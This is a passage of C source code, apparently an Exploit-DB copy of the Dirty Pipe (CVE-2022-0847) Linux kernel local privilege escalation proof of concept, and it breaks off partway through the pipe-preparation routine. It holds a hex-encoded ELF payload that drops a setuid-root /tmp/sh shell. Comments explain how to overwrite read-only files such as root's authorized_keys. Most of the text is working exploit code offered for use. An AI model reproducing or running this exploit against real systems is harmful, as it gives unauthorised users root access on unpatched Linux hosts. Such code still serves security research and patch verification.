// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe) // Exploit Author: blasty (peter@haxx.in) // Original Author: Max Kellermann (max.kellermann@ionos.com) // CVE: CVE-2022-0847 /* SPDX-License-Identifier: GPL-2.0 */ /* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <max.kellermann@ionos.com> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable. It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' * * Further explanation: https://dirtypipe.cm4all.com/ */ #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/user.h> #include <stdint.h> #ifndef PAGE_SIZE #define PAGE_SIZE 4096 #endif // small (linux x86_64) ELF file matroshka doll that does; // fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC); // write(fd, elfcode, elfcode_len) // chmod("/tmp/sh", 04755) // close(fd); // exit(0); // // the dropped ELF simply does: // setuid(0); // setgid(0); // execve("/bin/sh", ["/bin/sh", NULL], [NULL]); unsigned char elfcode[] = { /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 }; /** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */ static void prepare_pipe(int p[2]) { if (pipe(p)) abort(); const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096]; /* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ?
